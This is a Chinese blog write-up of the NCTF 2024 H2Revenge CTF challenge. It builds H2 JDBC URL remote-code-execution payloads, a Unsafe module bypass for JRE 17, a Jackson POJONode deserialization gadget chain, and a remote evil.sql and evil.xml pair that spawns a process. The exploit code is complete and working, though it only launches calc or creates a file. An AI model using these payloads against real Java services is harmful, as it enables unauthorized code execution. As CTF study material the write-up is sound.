JRE 17环境下的H2 Rce学习

前言

放暑假了,来学习一下知识充充电。


环境搭建

计划从一道CTF题目来学习,题目地址:https://github.com/X1cT34m/NCTF2024

下载得到题目环境后可以使用docker启动。

H2 RCE

以前简单学习过一下,当时学习过的简单来说就是在JDBC驱动和连接所用URL可控的情况下发起连接会导致RCE。

攻击payload触发环境类似:

1
2
3
4
5
6
7
8
9
10
11
12
String DRIVER_CLASS = "org.h2.Driver";
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";;
Properties info = null;
try {
Class.forName(DRIVER_CLASS);
DriverManager.getDriver(JDBC_URL).connect(JDBC_URL, info);
}catch (ClassNotFoundException | SQLException e) {
e.printStackTrace();
}

H2 RCE, 在Java8的环境下,常规思路是利用CREATE ALIAS创建Java函数或者是利用JavaScript引擎执行Runtime.exec等函数实现RCE。

通过JavaScript引擎

依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>
<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>
</dependencies>

触发RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) {
try {
Class.forName("org.h2.Driver");
DriverManager.getConnection(javaScript());
} catch (Exception e) {
throw new RuntimeException(e);
}
}

public static String javaScript() {
return "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";
}

通过创建Java函数

在Java8环境下触发RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Cmd");
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd /c calc.exe\");");
String cmd = java.util.Base64.getEncoder().encodeToString(ctClass.toBytecode());
String url0 = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER H2RCE BEFORE SELECT ON " +
"INFORMATION_SCHEMA.TABLES AS $$void SHELL3() throws Exception{" +
"byte[] bytes=java.util.Base64.getDecoder().decode(\"" + cmd + "\")\\;" +
"java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(" +
"\"defineClass\", byte[].class, int.class, int.class)\\;" +
"defineClassMethod.setAccessible(true)\\;" +
"Class clz=(Class)defineClassMethod.invoke(new javax.management.loading.MLet(" +
"new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0, bytes.length)\\;" +
"clz.newInstance()\\;}$$";

在Java17环境下,反射受到了module的限制,需要使用Unsafe绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
String url1 = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER H2RCE BEFORE SELECT ON " +
"INFORMATION_SCHEMA.TABLES AS $$void SHELL3() throws Exception{" +
"byte[] bytes\\;Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
"java.lang.reflect.Field field = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
"field.setAccessible(true)\\;sun.misc.Unsafe unsafe = (sun.misc.Unsafe)field.get(null)\\;" +
"Module module = Object.class.getModule()\\;" +
"long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField(\"module\"))\\;" +
"unsafe.putObject(H2RCE.class, offset, module)\\;" +
"bytes=java.util.Base64.getDecoder().decode(\"" + cmd + "\")\\;" +
"java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(" +
"\"defineClass\", byte[].class, int.class, int.class)\\;" +
"defineClassMethod.setAccessible(true)\\;" +
"Class clz=(Class)defineClassMethod.invoke(new javax.management.loading.MLet(" +
"new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0, bytes.length)\\;" +
"clz.newInstance()\\;}$$";

当然,Java8下面没有getModule这种module专用的函数,所以java17的payload也无法在java8下面使用。

环境限制

根据参考文章,该题目环境下对这两种利用方式进行了限制:

  • 从 Java 15 版本开始, JavaScript 引擎 (Nashorn) 已经被删除
  • 题目给的是 JRE 17 而不是 JDK 17, 不存在 javac 命令, 无法编译 Java 代码, 也就是说无法像常规思路那样通过 CREATE ALIAS 创建 Java 函数

源码阅读

有点好奇题目的开发和部署方式,遂阅读一下题目源码,docker是直接使用的JRE镜像所以没有JDK环境,首先是MANIFEST.MF的入口配置:

1
2
Main-Class: org.springframework.boot.loader.launch.JarLauncher
Start-Class: challenge.H2RevengeApplication

以Jar的方式启动SpringBoot,然后在IndexController中接受数据并反序列化:

1
2
3
4
5
6
7
8
9
10
@PostMapping({"/deserialize"})
public String deserialize(@RequestParam String data) throws Exception {
byte[] buffer = Base64.getDecoder().decode(data);

try (ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
input.readObject();
}

return "ok";
}

存在一个MyDataSource类,其getConnection函数可以触发JDBC连接,进而触发H2 RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class MyDataSource implements DataSource, Serializable {
private String url;
private String username;
private String password;

public MyDataSource(String url, String username, String password) {
this.url = url;
this.username = username;
this.password = password;
}

public Connection getConnection() throws SQLException {
return DriverManager.getConnection(this.url, this.username, this.password);
}

public Connection getConnection(String username, String password) throws SQLException {
return DriverManager.getConnection(this.url, username, password);
}

...
}

环境限制下的H2 RCE

触发JDBC

由于最后的sink是个getter,所以还需要想想办法通过反序列化触发getter,或者是触发DataSource.getConnection函数的路径。

翻一下文件夹,在项目的lib文件夹中发现了jackson 2.18.2的依赖,通过调用jackson的POJONode类的toString函数就可以实现反序列化 + getter。

先添加一个jackson依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.18.2</version>
</dependency>

再把MyDataSource复制一份到我们的测试环境里,准备开始写序列化。

在我的测试环境Java 21中,BadAttributeValueExpException类已经发生了变化,无法再作为toString函数的触发器了:

1
2
3
4
5
6
7
8
9
10
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj instanceof String || valObj == null) {
val = (String)valObj;
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

可以使用XString或者EventListenerList来替代,这里先尝试使用参考文章给出的EventListenerList类,其反序列化函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@Serial
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
listenerList = NULL_ARRAY;
s.defaultReadObject();
Object listenerTypeOrNull;

while (null != (listenerTypeOrNull = s.readObject())) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
EventListener l = (EventListener)s.readObject();
String name = (String) listenerTypeOrNull;
ReflectUtil.checkPackageAccess(name);
@SuppressWarnings("unchecked")
Class<EventListener> tmp = (Class<EventListener>)Class.forName(name, true, cl);
add(tmp, l);
}
}

public synchronized <T extends EventListener> void add(Class<T> t, T l) {
if (l==null) {
return;
}
if (!t.isInstance(l)) {
throw new IllegalArgumentException("Listener " + l +
" is not of type " + t);
}
...
}

注意到add函数存在隐式触发toString函数的字符串拼接操作,但是这里的对象 l 在readObject函数中将类型显式定义为了EventListener,所以要走到POJONode类的toString函数,还需要一个跳板。

找到UndoManager类,它继承自UndoableEditListener-EventListener,而且toString函数也符合要求:

1
2
3
4
5
6
public String toString()
{
return super.toString()
+ " inProgress: " + inProgress
+ " edits: " + edits;
}

因为高版本Java的module限制问题,还需要使用Unsafe修改一下序列化数据生成类的module。

因为POJONode继承了writeReplace函数,所以序列化出来的总是ObjectNode,反序列化时就无法触发getter,而且序列化时会触发getter导致connect failed的错误,根据参考文章,可能配置好Web服务器提供SQL文件和XML文件之后会好。

先试一下,开个Tomcat然后将这两个文件放上去:

evil.sql:

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://127.0.0.1:8080/evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

evil.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc.exe]]></value>
</list>
</constructor-arg>
</bean>
</beans>

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Utils.patchModule(Main.class);
Utils.patchModule(Utils.class);
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8080/evil.sql'";
MyDataSource dataSource = new MyDataSource(url, "aaa", "bbb");
POJONode pojoNode = new POJONode(dataSource);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector)Utils.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
Utils.setField(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

byte[] bytes = Utils.serialize(eventListenerList);
System.out.println(new String(bytes));
System.out.println(Base64.getEncoder().encodeToString(bytes));
Utils.unserialize(bytes);

会用到的一些工具类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package org.example;

import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

@SuppressWarnings("rawtypes")
public class Utils {
public static void patchModule(Class clazz) {
try {
Module baseModule = Object.class.getModule();
Class<?> unSafe = Class.forName("sun.misc.Unsafe");
Field unSafeField = unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe)unSafeField.get(null);
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(clazz, addr, baseModule);
}catch (Exception e){
e.printStackTrace();
}
}

public static Field getField(Class clazz, String name) {
Field field = null;
try {
field = clazz.getDeclaredField(name);
}catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
field = getField(clazz.getSuperclass(), name);
}
}
if (field != null) {
field.setAccessible(true);
}
return field;
}

public static void setField(Object obj, String name, Object value) {
Field field = getField(obj.getClass(), name);
if (field != null) {
try {
field.set(obj, value);
}catch (Exception e) {
e.printStackTrace();
}
}
}

public static Object getFieldValue(Object obj, String name) {
Field field = getField(obj.getClass(), name);
Object result = null;
if (field != null) {
try {
result = field.get(obj);
}catch (Exception e) {
// pass
}
}
return result;
}

public static Object createWithoutConstructor(String className) {
Object result = null;
try {
Class clazz = Class.forName(className);
Constructor constructor = Object.class.getDeclaredConstructor();
constructor.setAccessible(true);
Constructor constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,
constructor);
constructor1.setAccessible(true);
result = constructor1.newInstance();
}catch (Exception e) {
e.printStackTrace();
}
return result;
}

public static byte[] serialize(Object obj) {
byte[] bytes = null;
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
bytes = bos.toByteArray();
}catch (Exception e) {
e.printStackTrace();
}
return bytes;
}

public static Object unserialize(byte[] bytes) {
Object obj = null;
try {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
obj = ois.readObject();
}catch (Exception e) {
e.printStackTrace();
}
return obj;
}
}

计算器正常弹出,起码后半部分的RCE是没问题的,但是序列化时报错:

1
java.lang.IllegalArgumentException: Failed to JDK serialize `POJONode` value: Serialization failed, cause: "java.io.NotSerializableException: org.springframework.context.support.ClassPathXmlApplicationContext"; SQL statement:

原因是序列化时会通过writeReplace函数触发getter,然后生成了一个无法序列化的ClassPathXmlApplicationContext对象。如果把getter里面的getConnection调用注释掉,序列化出来的就会是ObjectNode,反序列化时同样无法触发getter,还是得想想办法绕过它的writeReplace。

翻了一下,找到调用writeReplace函数的ObjectOutputStream类:

1
2
3
4
5
6
7
8
9
10
11
12
for (;;) {
// REMIND: skip this check for strings/arrays?
Class<?> repCl;
desc = ObjectStreamClass.lookup(cl, true);
if (!desc.hasWriteReplaceMethod() ||
(obj = desc.invokeWriteReplace(obj)) == null ||
(repCl = obj.getClass()) == cl)
{
break;
}
cl = repCl;
}

ObjectStreamClass.lookup:

1
2
3
4
5
6
static ObjectStreamClass lookup(Class<?> cl, boolean all) {
if (!(all || Serializable.class.isAssignableFrom(cl))) {
return null;
}
return Caches.localDescs.get(cl);
}

hasWriteReplaceMethod:

1
2
3
4
boolean hasWriteReplaceMethod() {
requireInitialized();
return (writeReplaceMethod != null);
}

理论上,如果我们通过反射修改了ObjectStreamClass.Caches.localDescs里POJONode的writeReplaceMethod信息,或许就可以绕过writeReplace函数?

试一试:

1
2
3
4
5
6
7
8
9
10
11
public static void patchWriteReplace(Class clazz) {
try {
Class ObjectStreamClass = Class.forName("java.io.ObjectStreamClass");
Method lookup = ObjectStreamClass.getDeclaredMethod("lookup", Class.class, boolean.class);
lookup.setAccessible(true);
ObjectStreamClass desc = (ObjectStreamClass)lookup.invoke(null, clazz, true);
setField(desc, "writeReplaceMethod", null);
}catch (Exception e){
e.printStackTrace();
}
}

加上一行Utils.patchWriteReplace(POJONode.class)后,继续进行序列化和反序列化测试:

这下一切正常了。

H2 RCE

琢磨一下payload,根据执行顺序,首先是SQL URL:

1
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8080/evil.sql'

根据里面的init和RUNSCRIPT字符,应该是从Web服务上抓取了一个SQL脚本文件来执行:

1
2
3
4
5
6
7
8
9
10
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://127.0.0.1:8080/evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

SQL脚本主要做的就是函数调用,通过类加载和实例化的方式,触发ClassPathXmlApplicationContext类加载xml来实现RCE。

还有一点则是根据出题师傅的测试,直接将String作为参数调用newInstance会发生错误,因为SQL不像Java一样将String作为Object,所以需要先进行一次类型转换,所以师傅找到了Rdn.unescapeValue函数,该函数主要用于解码和删除一些非法字符,正常String传入之后会原封不动地String出来,只不过函数为了兼容,返回值定义的是Object,正好符合类型转换的要求,不得不说很是巧妙。

题目复现

修改一下代码里面的命令为在tmp目录下创建文件,还有IP和MyDataSource类的package,以及docker启动代码方便调试:

1
su -p ctf -c "/opt/java/openjdk/bin/java -jar /app/H2Revenge.jar > /tmp/output.log 2>&1"

漏洞利用成功:

题外话

hexo g的时候遇到了版本问题,遂更新一下hexo,参考文章模板问题

1
2
npm outdated
npm update hexo-cli hexo --latest

参考

NCTF 2024 Web 出题小记

h2数据库在jdk17下的rce探索

深入解析:高版本 JRE 下 H2 RCE 绕过新思路


JRE 17环境下的H2 Rce学习
http://yoursite.com/2025/07/22/JRE 17环境下的H2 Rce学习/
作者
Aluvion
发布于
2025年7月22日
许可协议